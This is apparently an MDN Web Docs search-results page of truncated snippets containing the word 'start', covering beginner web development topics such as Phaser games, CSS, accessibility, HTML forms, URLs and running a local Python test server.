startsystem(phaser.physics.arcade); ball = game.add.sprite(50, 50, 'ball'); game.physics.enable(ball, phaser.physics.arcade); ball.body.velocity.set(150, 150); } function update() { } try reloading index.html again — the ball should now be moving constantly in the given direction. at the moment, the physics engine has gravity and friction set to zero. adding gravity would result in the...
2D breakout game using Phaser - Game development
if you are not already familiar with pure javascript game development, we would suggest that you first work through this series' counterpart, 2d breakout game using pure javascript. after that, you can pick any framework you like and use it for your projects; we have chosen phaser as it is a good solid fram...
... next » ...
Visual JS GE - Game development
.js application tools (uses in developer mode only) the following section provides information about the tools involved in visual-js game engine. in page editor found at server_instance/editor.js. build_from_editor_to_visual_js found at server_instance/build_from_editor_to_visual_js_file.js. this is a node.js app for local use. if you use editor.js to visually create game objects, you must
start the build_from_editor_to_visual_js_file.js when you have finished. this tool will create visual.js in the
starter/ directory along with all your game objects. it takes data from the system folder lib/visual_scripts/ and generates your code. resource js objects used for adding images for animation purposes. this is done using server_instance/res.js. you need to put your images in a folder,...
...game objects. it takes data from the system folder lib/visual_scripts/ and generates your code. resource js objects used for adding images for animation purposes. this is done using server_instance/res.js. you need to put your images in a folder, for example test_res/ , inside project_instance/res/. next, run the command server_instance/node res.js. after this has finished processing, re
start the web page by entering the following in the console: resource.test_res. resource objects contain the path data for all your images. the actual image objects will be created after you add animation to the game objects. this is good because it is memory safe. visual js.exe windows gui freeware only for windows users. contains the following tools. visual_js.exe version 1.0 — comes with ...
Game development
ill find many useful tutorials and technique articles in the main menu on the left, so feel free to explore. we've also included a reference section so you can easily find information about all the most common apis used in game development. note: creating games on the web draws on a number of core web technologies such as html, css, and javascript. the learning area is a good place to go to get
started with the basics. port native games to the web if you are a native developer (for example writing games in c++), and you are interested in how you can port your games over to the web, you should learn more about our emscripten tool — this is an llvm to javascript compiler, which takes llvm bytecode (e.g. generated from c/c++ using clang, or from another language) and compiles that into asm...
...o the web if you are a native developer (for example writing games in c++), and you are interested in how you can port your games over to the web, you should learn more about our emscripten tool — this is an llvm to javascript compiler, which takes llvm bytecode (e.g. generated from c/c++ using clang, or from another language) and compiles that into asm.js, which can be run on the web. to get
started, see: about emscripten for an introduction including high-level details. download and install for installing the toolchain. emscripten tutorial for a tutorial to teach you how to get
started. examples for a list of web game examples, see our examples page. also, check out games.mozilla.org for more useful resources! ...
Plug-in Development Overview - Gecko Plugin API Reference
finds and invokes the plug-in object that supports that type. the data can come from either an object element in an html file (where the object or embed element either specifies the mime type directly or references a file of that type), from a separate non-html file of that mime type, or from the server. the server looks for the mime type registered by a plug-in, based on the file extension, and
starts sending the file to the browser. the browser looks up the media type, and if it finds a plug-in registered to that type, loads the plug-in software. when it
starts up, the browser checks for plug-in modules for the platform and registers them. it determines which plug-ins are installed and which types they support through a combination of user preferences that are private to the browser, the co...
...l to send data to a url from a memory buffer or file. the result from the server can also be sent to a particular browser window or frame for display, or delivered to the plug-in instance in a new stream. the npn_posturlnotify function operates like npn_posturl, except that it notifies the plug-in of the result when the operation completes. for information about using these methods, see urls.
starting in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7), you can get the origin of the document in a secure, convenient way by calling npn_getvalue() to retrieve the value of the variable npnvdocumentorigin. the returned value is the unicode serialization of the document's origin converted to nfkc-encoded (that is, normalized) utf-8. your plug-in must free the returned string's memory ...
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
a call stack is a mechanism for an interpreter (like the javascript interpreter in a web browser) to keep track of its place in a script that calls multiple functions — what function is currently being run and what functions are called from within that function, etc. when a script calls a function, the interpreter adds it to the call stack and then
starts carrying out the function. any functions that are called by that function are added to the call stack further up, and run where their calls are reached. when the current function is finished, the interpreter takes it off the stack and resumes execution where it left off in the last code listing. if the stack takes up more space than it had assigned to it, it results in a "stack overflow" error. example function greeting() { ...
...ecuting the rest of the greeting() function. delete the sayhi() function from our call stack list. call stack list: - greeting when everything inside the greeting() function has been executed, return to its invoking line to continue executing the rest of the js code. delete the greeting() function from the call stack list. call stack list: empty in summary, then, we
start with an empty call stack. whenever we invoke a function, it is automatically added to the call stack. once the function has executed all of its code, it is automatically removed from the call stack. ultimately, the stack is empty again. learn more general knowledge call stack on wikipedia ...
Forbidden header name - MDN Web Docs Glossary: Definitions of Web-related terms
a forbidden header name is the name of any http header that cannot be modified programmatically; specifically, an http request header name (in contrast with a forbidden response header name). modifying such headers is forbidden because the user agent retains full control over them. names
starting with `sec-` are reserved for creating new headers safe from apis using fetch that grant developers control over headers, such as xmlhttprequest. ...
...e modified programmatically; specifically, an http request header name (in contrast with a forbidden response header name). modifying such headers is forbidden because the user agent retains full control over them. names
starting with `sec-` are reserved for creating new headers safe from apis using fetch that grant developers control over headers, such as xmlhttprequest. ...
Assessment: Accessibility troubleshooting - Learn web development
essibility in the assessment for this module, we present to you a simple site with a number of accessibility issues that you need to diagnose and fix. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of the previous articles in the course. objective: to test basic knowledge of accessibility fundamentals.
starting point to get this assessment
started, you should go and grab the zip containing the files that comprise the example. decompress the contents into a new directory somewhere on your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css, and javascript into one of these online editors. if the online editor you are using doe...
... you could use a site like jsbin or glitch to do your assessment. you could paste the html, css, and javascript into one of these online editors. if the online editor you are using doesn't have a separate css/js panel, feel free to put them in appropriate <style> / <script> elements. the finished assessment site should look like so: you will see some differences/issues with the display of the
starting state of the assessment — this is mainly due to the differences in the markup, which in turn cause some styling issues as the css is not applied properly. don't worry — you'll be fixing these problems in the upcoming sections! note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. project brief for this project, you are ...
Mobile accessibility - Learn web development
right with a smooth motion to enter the local content menu. swipe right until you find the "headings and landmarks" option. double-tap to select it. now you'll be able to swipe left and right to move between headings and aria landmarks. to go back to the default mode, enter the local context menu again by swiping up and right, select "default", and then double-tap to activate. note: see get
started on android with talkback for more complete documentation. ios voiceover a mobile version of voiceover is built into the ios operating system. to turn it on, go to your settings app and select accessibility > voiceover. press the voiceover slider to enable it (you'll also see a number of other options related to voiceover on this page). note: some older ios devices have the voiceover menu ...
...board or touch, you'll see the problem. this occurs because we are using code such as the following: div.onmousedown = function() { initialboxx = div.offsetleft; initialboxy = div.offsettop; movepanel(); } document.onmouseup = stopmove; to enable other forms of control, you need to use different, yet equivalent events — for example, touch events work on touchscreen devices: div.ontouch
start = function(e) { initialboxx = div.offsetleft; initialboxy = div.offsettop; positionhandler(e); movepanel(); } panel.ontouchend = stopmove; we've provided a simple example that shows how to use the mouse and touch events together — see multi-control-box-drag.html (see the example live also). note: you can also see fully functional examples showing how to implement different control m...
A cool-looking box - Learn web development
in this assessment, you'll get some more practice in creating cool-looking boxes by trying to create an eye-catching box. prerequisites: before attempting this assessment, you should have already worked through all the articles in this module. objective: to test comprehension of the css box model and other box-related features such as borders and backgrounds.
starting point to get this assessment
started, you should: make local copies of the
starting html and css — save them as index.html and style.css in a new directory. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html and fill in the css into one of these online editors. if the online editor you are using doesn't have a separate css panel, feel fr...
... a base color for the design. give the box this color as its background color. the same color for the text; make it readable using a black text shadow. a fairly subtle border radius. a 1-pixel solid border with a color similar to the base color, but a slightly darker shade. a linear semi-transparent black gradient that goes toward the bottom right corner. make it completely transparent at the
start, gradiating to around 0.2 opacity by 30% along, and remaining at the same color until the end. multiple box shadows. give it one standard box shadow to make the box look slightly raised off the page. the other two should be inset box shadows — a semi-transparent white shadow near the top left and a semi-transparent black shadow near the bottom right — to add to the nice raised 3d look of the...
Test your skills: The Cascade - Learn web development
ction at the bottom of this page. task one in this task, you need to use one of the special values we looked at in the controlling inheritance section to write a declaration in a new rule that will reset the background color back to white, without using an actual color value. in the example below see if you can match the image above. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for cascade skill test 1". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Debugging CSS - Learn web development
n a similar fashion, you could change the width or style of the border. adding a new property you can add properties using the devtools. perhaps you have realised that you don't want your box to inherit the <body> element's font size, and want to set its own specific size? you can try this out in devtools before adding it to your css file. you can click the closing curly brace in the rule to
start entering a new declaration into it, at which point you can
start typing the new property and devtools will show you an autocomplete list of matching properties. after selecting font-size, enter the value you want to try. you can also click the + button to add an additional rule with the same selector, and add your new rules there. note: there are other useful features in the rules view too, f...
...yout to make a small example which only shows that code or feature. to create a reduced test case: if your markup is dynamically generated — for example via a cms — make a static version of the output that shows the problem. a code sharing site like codepen is useful for hosting reduced test cases, as then they are accessible online and you can easily share them with colleagues. you could
start by doing view source on the page and copying the html into codepen, then grab any relevant css and javascript and include it too. after that, you can check whether the issue is still evident. if removing the javascript does not make the issue go away, don't include the javascript. if removing the javascript does make the issue go away, then remove as much javascript as you can, leaving in whatev...
Fundamental CSS comprehension - Learn web development
dule — this involves a number of related exercises that must be completed in order to create the final design — a business card/gamer card/social media profile. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of fundamental css theory, syntax and mechanics.
starting point to get this assessment
started, you should: go and grab the html file for the exercise, and the associated image file, and save them in a new directory on your local computer. if you want to use your own image file and fill your own name in, you are welcome to — just make sure the image is square. grab the css resources text file — this contains a set of raw selectors and rulese...
...tion don't have any ancestors sitting in between them and <html> in the hierarchy that have a different font-size set on them. this could affect the values you need, although in this simple example this is not an issue.) other things to think about: you'll get bonus marks if you write your css for maximum readability, with a separate declaration on each line. you should include .card at the
start of the selector chain in all your rules, so that these rules wouldn't interfere with the styling of any other elements if the business card were to be put on a page with a load of other content. hints and tips you don't need to edit the html in any way, except to apply the css to your html. when trying to work out the em value you need to represent a certain pixel length, think about what b...
Organizing your CSS - Learn web development
in this article we will take a brief look at some best practices for writing your css to make it easily maintainable, and some of the solutions you will find in use by others to help improve maintainability. ...
...he pre and post-processing. many code editors can do this for you, or you can install command line tools to help. the most popular pre-processor is sass. this is not a sass tutorial, so i will briefly explain a couple of the things that sass can do, which are really helpful in terms of organisation, even if you don't use any of the other sass features. if you want to learn a lot more about sass,
start with the sass basics article, then move on to their other documentation. defining variables css now has native custom properties, making this feature increasingly less important, however one of the reasons you might use sass is to be able to define all of the colors and fonts used in a project as settings, then use that variable around the project. this means that if you realise you have used t...
Pseudo-classes and pseudo-elements - Learn web development
seudo-class is a selector that selects elements that are in a specific state, e.g. they are the first element of their type, or they are being hovered over by the mouse pointer. they tend to act as if you had applied a class to some part of your document, often helping you cut down on excess classes in your markup, and giving you more flexible, maintainable code. pseudo-classes are keywords that
start with a colon: :pseudo-class-name simple pseudo-class example let's look at a simple example. if we wanted to make the first paragraph in an article larger and bold, we could add a class to that paragraph and then add css to that class, as shown in the first example below: however, this could be annoying to maintain — what if a new paragraph got added to the top of the document? we'd need ...
...ntioned above; this only applies if the user moves their pointer over an element, typically a link. :focus — only applies if the user focuses the element using keyboard controls. what is a pseudo-element? pseudo-elements behave in a similar way, however they act as if you had added a whole new html element into the markup, rather than applying a class to existing elements. pseudo-elements
start with a double colon ::. ::pseudo-element-name note: some early pseudo-elements used the single colon syntax, so you may sometimes see this in code or examples. modern browsers support the early pseudo-elements with single- or double-colon syntax for backwards compatibility. for example, if you wanted to select the first line of a paragraph you could wrap it in a <span> element and use an ele...
Test your skills: tables - Learn web development
can achieve this, but i suggest following similar patterns as used in the tutorial to do the following things. align headings and data for columns containing numbers right. align headings and data for columns containing text left. add a top and bottom border, plus a border above the footer. stripe every odd row of the main table. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for tables skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
CSS values and units - Learn web development
ll get wider, as the width is relative to that font size. after following the instructions above, try playing with the values in other ways, to see what you get. ems and rems em and rem are the two relative lengths you are likely to encounter most frequently when sizing anything from boxes to text. it's worth understanding how these work, and the differences between them, especially when you
start getting on to more complex subjects like styling text or css layout. the below example provides a demonstration. the html is a set of nested lists — we have three lists in total and both examples have the same html. the only difference is that the first has a class of ems and the second a class of rems. to
start with, we set 16px as the font size on the <html> element. to recap, the em unit ...
...s. i have then set the boxes to have different opacity values — notice how the background shows through more when the alpha channel value is smaller. in this example, try changing the alpha channel values to see how it affects the color output. note: at some point modern browsers were updated so that rgba() and rgb(), and hsl() and hsla() (see below), became pure aliases of each other and
started to behave exactly the same. so for example both rgba() and rgb() accept colors with and without alpha channel values. try changing the above example's rgba() functions to rgb() and see if the colors still work! which style you use is up to you, but separating out non-transparent and transparent color definitions to use the different functions gives (very) slightly better browser support and can...
Floats - Learn web development
side one another (the default behavior would be for the columns to sit below one another, in the same order as they appear in the source). there are newer, better layout techniques available and so use of floats in this way should be regarded as a legacy technique. in this article we'll just concentrate on the proper uses of floats. a simple float example let's explore how to use floats. ...
...nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. duis felis orci, pulvinar id metus ut, rutrum luctus orci. ...
Test Your Skills: Fundamental layout comprehension - Learn web development
ch should look just like the image below. basic setup you can download the html, css, and a set of six images here. save the html document and stylesheet into a directory on your computer, and add the images into a folder named images. opening the index.html file in a browser should give you a page with basic styling but no layout, which should look something like the image seen below. this
starting point has all of the content of your layout as displayed by the browser in normal flow. if you don't want to work locally then using a tool such as codepen or jsfiddle will work as well. you will need to upload the images using their assets functionality and replace the value in the src attribute to point to the new image location. your tasks you now need to implement your layout. the t...
...ry a few different approaches and see which works best. make notes as you experiment. assessment or further help you can practice these examples in the interactive editors mentioned above. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the
starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for fundamental layout comprehension". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Normal Flow - Learn web development
browsers layout web pages by default, before we begin to make changes. as detailed in the last lesson introducing layout, elements on a webpage lay out in the normal flow, if you have not applied any css to change the way they behave. and, as we began to discover, you can change how elements behave either by adjusting their position in that normal flow, or removing them from it altogether. ...
... before digging deeper into different layout methods, it is worth revisiting some of the things you will have studied in previous modules with regard to normal document flow. ...
Test your skills: Media Queries and Responsive Design - Learn web development
s in this section. note: due to the need to test your design in multiple screen sizes we do not have an interactive editor for this task. download the code and work locally, or use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. your task download the
starting point. open this in your browser and you will find a wireframed site which will load in a mobile device in a readable manner. you can drag your window smaller or use the responsive design view in firefox devtools to view this as if on a phone. your task is to create a desktop version of this layout which displays when there is enough screen width to accomodate it. you can see the layout you a...
...eakpoint perhaps creating a layout that would work well on a tablet in portrait mode. assessment or further help you can practice these examples in the interactive editors mentioned above. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the
starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for responsive web design assessment". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
CSS layout - Learn web development
e necessary prerequisites so we can now dive deep into css layout, looking at different display settings, modern layout tools like flexbox, css grid, and positioning, and some of the legacy techniques you might still want to know about. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites before
starting this module, you should already: have basic familiarity with html, as discussed in the introduction to html module. be comfortable with css fundamentals, as discussed in introduction to css. understand how to style boxes. note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try ou...
... this article explains all the fundamentals. after studying this guide you can test your flexbox skills to check your understanding before moving on. grids css grid layout is a two-dimensional layout system for the web. it lets you lay content out in rows and columns, and has many features that make building complex layouts straightforward. this article will give you all you need to know to get
started with page layout, then test your grid skills before moving on. floats originally for floating images inside blocks of text, the float property became one of the most commonly used tools for creating multiple column layouts on webpages. with the advent of flexbox and grid it has now returned to its original purpose, as this article explains. positioning positioning allows you to take element...
How CSS works - Learn web development
cture. each element, attribute, and piece of text in the markup language becomes a dom node in the tree structure. the nodes are defined by their relationship to other dom nodes. some elements are parents of child nodes, and child nodes have siblings. understanding the dom helps you design, debug and maintain your css because the dom is where your css and the document's content meet up. when you
start working with browser devtools you will be navigating the dom as you select items in order to see which rules apply. a real dom representation rather than a long, boring explanation, let's look at an example to see how a real html snippet is converted into a dom. take the following html code: <p> let's use: <span>cascading</span> <span>style</span> <span>sheets</span> </p> in the dom...
...th: 500px; width: calc(100% - 50px); } we will look at many more ways to support varying browsers in later lessons. and finally you've nearly finished this module; we only have one more thing to do. in the next article you'll use your new knowledge to restyle an example, testing out some css in the process. previous overview: first steps next in this module what is css? getting
started with css how css is structured how css works using your new knowledge ...
Using your new knowledge - Learn web development
xt documents using css, to add your own style to them. this assessment gives you a chance to do that. prerequisites: before attempting this assessment you should have worked through the rest of the css basics module, and also have an understanding of html basics (study introduction to html). objective: to have a play with some css and test your new-found knowledge.
starting point you can work in the live editor below, or you can download the
starting point to work with in your own editor. this is a single page with the html, plus the
starting point css in the head of the document. if you prefer you could move this css to a separate file when you create the example on your local computer. alternatively use an online tool such as codepen, jsfiddle, or glitch to wo...
...uestion you want help with. what's next? congratulations on finishing this first module. ...
CSS first steps - Learn web development
css (cascading style sheets) is used to style and lay out web pages — for example, to alter the font, color, size, and spacing of your content, split it into multiple columns, or add animations and other decorative features. this module provides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can
start using it to add styling to html. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites before
starting this module, you should have: basic familiarity with using computers, and using the web passively (i.e. looking at it, consuming the content.) a basic work environment set up as d...
...tains the following articles, which will take you through all the basic theory of css, and provide opportunities for you to test out some skills. what is css? css (cascading style sheets) allows you to create great-looking web pages, but how does it work under the hood? this article explains what css is, with a simple syntax example, and also covers some key terms about the language. getting
started with css in this article we will take a simple html document and apply css to it, learning some practical things about the language along the way. how css is structured now that you have an idea about what css is and the basics of using it, it is time to look a little deeper into the structure of the language itself. we have already met many of the concepts discussed here; you can return to ...
CSS FAQ - Learn web development
nd some frequently-asked questions (faqs) about css, along with answers that may help you on your quest to become a web developer. why doesn't my css, which is valid, render correctly? browsers use the doctype declaration to choose whether to show the document using a mode that is more compatible with web standards or with old browser bugs. using a correct and modern doctype declaration at the
start of your html will improve browser standards compliance. modern browsers have two main rendering modes: quirks mode: also called backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers. documents with an incomplete, incorrect, or missing doctype declaration or a known doctype declaration in...
...oduction websites is not recommended — they have already created a huge web compatibility mess. for example, many developers only using the -webkit- prefixed version of a property when the non-prefixed version is supported across all browsers meant that a feature relying on that property would break in non-webkit-based browsers, completely needlessly. this problem got so bad that other browsers
started to implement -webkit- prefixed aliases to improve web compatibility, as specified in the compatibility living standard. in fact most browsers now do not use css prefixes when implementing experimental features, instead implementing those features only on nightly browser versions or similar. if you need to use prefixes in your work, you are advised to write your code in a way that uses the pre...
Styling links - Learn web development
before turning it off; you should at least double up the styles given to the link hover state on the focus state too. note: you are not just limited to the above properties to style your links — you are free to use any properties you like. just try not to go too crazy! styling some links now we've looked at the default states in some detail, let's look at a typical set of link styles. to
start off with, we'll write out our empty rulesets: a { } a:link { } a:visited { } a:focus { } a:hover { } a:active { } this order is important because the link styles build on one another, for example the styles in the first rule will apply to all the subsequent ones, and when a link is being activated, it is also being hovered over. if you put these in the wrong order, things won't work...
... on their own lines. in this case, we are creating a horizontal list of links, so in the third rule we set the display property to inline, which causes the list items to sit on the same line as one another — they now behave like inline elements. the fourth rule — which styles the <a> element — is the most complicated here; let's go through it step by step: as in previous examples, we
start by turning off the default text-decoration and outline — we don't want those spoiling our look. next, we set the display to inline-block — <a> elements are inline by default and, while we don't want them to spill onto their own lines like a value of block would achieve, we do want to be able to size them. inline-block allows us to do this. now onto the sizing! we want to fill up the who...
What is the difference between webpage, website, web server, and search engine? - Learn web development
r these expressions all the time as you read on. it's easy to confuse these terms sometimes since they refer to related but different functionalities. in fact, you'll sometimes see these terms misused in news reports and elsewhere, so getting them mixed up is understandable! we'll cover these terms and technologies in more detail as we explore further, but these quick definitions will be a great
start for you: web page a document which can be displayed in a web browser such as firefox, google chrome, opera, microsoft internet explorer or edge, or apple's safari. these are also often called just "pages." website a collection of web pages which are grouped together and usually connected together in various ways. often called a "web site" or simply a "site." web server a computer that hos...
...es sense, because, obviously, the first thing you want to do with a browser is to find a web page to display. ...
What is a URL? - Learn web development
re necessary. when a url is used within a document, such as in an html page, things are a bit different. because the browser already has the document's own url, it can use this information to fill in the missing parts of any url available inside that document. we can differentiate between an absolute url and a relative url by looking only at the path part of the url. if the path part of the url
starts with the "/" character, the browser will fetch that resource from the top root of the server, without reference to the context given by the current document. let's look at some examples to make this clearer. examples of absolute urls full url (the same as the one we used before) https://developer.mozilla.org/docs/learn implicit protocol //developer.mozilla.org/docs/learn in this ...
...ing that url. note: it isn't possible to omit the domain name without omitting the protocol as well. examples of relative urls to better understand the following examples, let's assume that the urls are called from within the document located at the following url: https://developer.mozilla.org/docs/learn sub-resources skills/infrastructure/understanding_urls because that url does not
start with /, the browser will attempt to find the document in a sub-directory of the one containing the current resource. so in this example, we really want to reach this url: https://developer.mozilla.org/docs/learn/skills/infrastructure/understanding_urls going back in the directory tree ../css/display in this case, we use the ../ writing convention — inherited from the unix file system wor...
How do you set up a local testing server? - Learn web development
ow to set up a local testing server. local files vs. remote files throughout most of the learning area, we tell you to just open your examples directly in a browser — this can be done by double clicking the html file, dragging and dropping it into the browser window, or choosing file > open... and navigating to the html file. there are many ways to achieve this. if the web address path
starts with file:// followed by the path to the file on your local hard drive, a local file is being used. in contrast, if you view one of our examples hosted on github (or an example on some other remote server), the web address will
start with http:// or https://, to show that the file has been received via http. the problem with testing local files some examples won't run if you open them as local...
...llowing command: python -v # or you might have the py command available, # in which case try py -v this should return a version number. if this is ok, navigate to the directory that your example is inside, using the cd command. # include the directory name to enter it, for example cd desktop # use two dots to jump up one directory level if you need to cd .. enter the command to
start up the server in that directory: # if python version returned above is 3.x python3 -m http.server # on windows try "python" instead of "python3", or "py -3" # if python version returned above is 2.x python -m simplehttpserver by default, this will run the contents of the directory on a local web server, on port 8000. you can go to this server by going to the url localhost:8000 in your we...
HTML forms in legacy browsers - Learn web development
th this wilderness is part of the job. fortunately, there are a few tricks to know that can help you to solve most of the problems caused by legacy browsers. and html5 <input> types don't fail when not supported: they fall back to type=text. learn about the issues to understand common patterns, it helps to read browser documentation. if you are reading this on mdn, you are at the right place to
start. just check the support of the elements (or dom interface) you want to use. mdn has compatibility tables available for most elements, properties and apis that can be used in a web page. there are other resources that can be amazingly helpful: browser vendor documentation mozilla: you're in the right place, just browse mdn microsoft: internet explorer standards support documentation webkit: ...
... browser */ border: auto; border: initial; } input[type="button"] { /* this will come the closest to restoring default rendering, when supported. */ border: revert; } see the global css revert value for more information. <button> the <button> element suffered from two issues that are now resolved: a bug in old versions of internet explorer sent the html content available between the
starting and ending tag of the <button> element instead of the content of the value attribute when clicked. this was only an issue if that value needed to be sent, such as when data processing depends on which button a user clicked. some very old browsers did not use submit as the default value for the type attribute. while resolved in all modern browsers, it is still recommended to always set the typ...
How to structure a web form - Learn web development
the most complex structures in html; you can build any kind of basic form using dedicated form elements and attributes. using correct structure when building an html form will help ensure that the form is both usable and accessible. the <form> element the <form> element formally defines a form and attributes that determine the form's behavior. each time you want to create an html form, you must
start it by using this element, nesting all the contents inside. many assistive technologies and browser plugins can discover <form> elements and implement special hooks to make them easier to use. we already met this in the previous article. warning: it's strictly forbidden to nest a form inside another form. nesting can cause forms to behave in an unpredictable manner, so it is a bad idea. it's al...
...building a form structure let's put these ideas into practice and build a slightly more involved form — a payment form. this form will contain a number of control types that you may not yet understand. don't worry about this for now; you'll find out how they work in the next article (basic native form controls). for now, read the descriptions carefully as you follow the below instructions, and
start to form an appreciation of which wrapper elements we are using to structure the form, and why. to
start with, make a local copy of our blank template file and the css for our payment form in a new directory on your computer. apply the css to the html by adding the following line inside the html <head>: <link href="payment-form.css" rel="stylesheet"> next, create your form by adding the o...
Other form controls - Learn web development
d a slightly more interesting example of text area usage in the example we put together in the first article of the series (see the source code also). controlling multi-line rendering <textarea> accepts three attributes to control its rendering across several lines: cols specifies the visible width (columns) of the text control, measured in average character widths. this is effectively the
starting width, as it can be changed by resizing the <textarea>, and overriden using css. the default value if none is specified is 20. rows specifies the number of visible text rows for the control. this is effectively the
starting height, as it can be changed by resizing the <textarea>, and overriden using css. the default value if none is specified is 2. wrap specifies how the control wraps text...
... if the current value is in the prefered part of the range, the bar is green. if the current value is in the average part of the range, the bar is yellow. if the current value is in the worst part of the range, the bar is red. such a bar is created using a <meter> element. this is for implementing any kind of meter, for example a bar showing total space used on a disk, which turns red when it
starts to get full. <meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter> the content inside the <meter> element is a fallback for browsers that don't support the element and for assistive technologies to vocalize it. support for <progress> and <meter> is fairly good — there is no support in internet explorer, but other browsers support it well. test your skills! you'v...
Sending forms through JavaScript - Learn web development
10 ); return; } // to construct our multipart form data request, // we need an xmlhttprequest instance const xhr = new xmlhttprequest(); // we need a separator to define each part of the request const boundary = "blob"; // store our body request in a string. ...
...he file + 'filename="' + file.dom.files[0].name + '"\r\n'; // and the mime type of the file data += 'content-type: ' + file.dom.files[0].type + '\r\n'; // there's a blank line between the metadata and the data data += '\r\n'; // append the binary data to our body's request data += file.binary + '\r\n'; } // text data is simpler //
start a new part in our body's request data += "--" + boundary + "\r\n"; // say it's form data, and name it data += 'content-disposition: form-data; name="' + text.name + '"\r\n'; // there's a blank line between the metadata and the data data += '\r\n'; // append the text data to our body's request data += text.value + "\r\n"; // once we are done, "close" the body's r...
Test your skills: Form structure - Learn web development
o form fields into two distinct containers, each with a descriptive legend (use "personal details" for the first two, and "comment information" for the second two). mark up each text label with an appropriate element so that it is semantically associated with its respective form field. add a suitable set of structural elements around the label/field pairs to separate them out. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for form structure 1 skill test". details of what you have already tried, and what you would like us to do, e.g. ...
Your first form - Learn web development
fields, dropdown boxes, buttons, checkboxes, or radio buttons, and are mostly created using the <input> element, although there are some other elements to learn about too. form controls can also be programmed to enforce specific formats or values to be entered (form validation), and paired with text labels that describe their purpose to both sighted and blind users. designing your form before
starting to code, it's always better to step back and take the time to think about your form. designing a quick mockup will help you to define the right set of data you want to ask your user to enter. from a user experience (ux) point of view, it's important to remember that the bigger your form, the more you risk frustrating people and losing users. keep it simple and stay focused: ask only for the da...
... hitting the button will send their data to a web server. active learning: implementing our form html ok, let's have a go at creating the html for our form. we will use the following html elements: <form>, <label>, <input>, <textarea>, and <button>. before you go any further, make a local copy of our simple html template — you'll enter your form html into here. the <form> element all forms
start with a <form> element, like this: <form action="/my-handling-form-page" method="post"> </form> this element formally defines a form. it's a container element like a <section> or <footer> element, but specifically for containing forms; it also supports some specific attributes to configure the way the form behaves. all of its attributes are optional, but it's standard practice to always set at ...
Web forms — Working with user data - Learn web development
e them to their full potential. in the articles listed below, we'll cover all the essential aspects of web forms including marking up their html structure, styling form controls, validating form data, and submitting data to the server. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites before
starting this module, you should at least work through our introduction to html. at this point you should find the introductory guides easy to understand, and also be able to make use of our basic native form controls guide. mastering forms however requires more than just html knowledge — you also need to learn some specific techniques to style form controls, and some...
..., including designing a simple form, implementing it using the right html elements, adding some very simple styling via css, and how data is sent to a server. how to structure a web form with the basics out of the way, we now look in more detail at the elements used to provide structure and meaning to the different parts of a form. the different form controls basic native form controls we
start off this section by looking at the functionality of the the original html <input> types in detail, looking at what options are available to collect different types of data. the html5 input types here we continue our deep dive into the <input> element, looking at the additional input types provided when html5 was released, and the various ui controls and data collection enhancements they provide...
Dealing with files - Learn web development
when you're building a website, you need to assemble these files into a sensible structure on your local computer, make sure they can talk to one another, and get all your content looking right before you eventually upload them to a server. dealing with files discusses some issues you should be aware of so you can set up a sensible file structure for your website. where should your website live on your computer? when you are working on a website locally on your computer, you should keep all the related files in a single folder that mirrors the published website's file structure on the server. ...
...t all you need to know. note: the windows file system tends to use backslashes, not forward slashes, e.g. c:\windows. ...
Publishing your website - Learn web development
this article explains how to get your simple sample code online with little effort. what are the options? publishing a website is a complex topic because there are many ways to go about it. this article doesn't attempt to document all the possible methods. instead, it explains the advantages and disadvantages of three approaches that are practical for beginners. then it steps through one method that can work right away for many readers. ...
...earn more, see github pages help. ...
Use HTML to solve common problems - Learn web development
how to create a basic html document how to divide a webpage into logical sections how to set up a proper structure of headings and paragraphs basic text-level semantics html specializes in providing semantic information for a document, so html answers many questions you might have about how to get your message across best in your document. ...
...ontent within a webpage uncommon or advanced problems beyond the basics, html is very rich and offers advanced features for solving complex problems. these articles help you tackle the less common use cases you may face: forms forms are a complex html structure made to send data from a webpage to a web server. we encourage you to go over our full dedicated guide. here is where you should
start: how to create a simple web form how to structure a web form tabular information some information, called tabular data, needs to be organized into tables with columns and rows. it's one of the most complex html structures, and mastering it is not easy: how to create a data table how to make html tables accessible data representation how to represent numeric and code values with ht...
Document and website structure - Learn web development
s of your page (such as "a paragraph" or "an image"), html also boasts a number of block level elements used to define areas of your website (such as "the header", "the navigation menu", "the main content column"). this article looks into how to plan a basic website structure, and write the html to represent this structure. prerequisites: basic html familiarity, as covered in getting
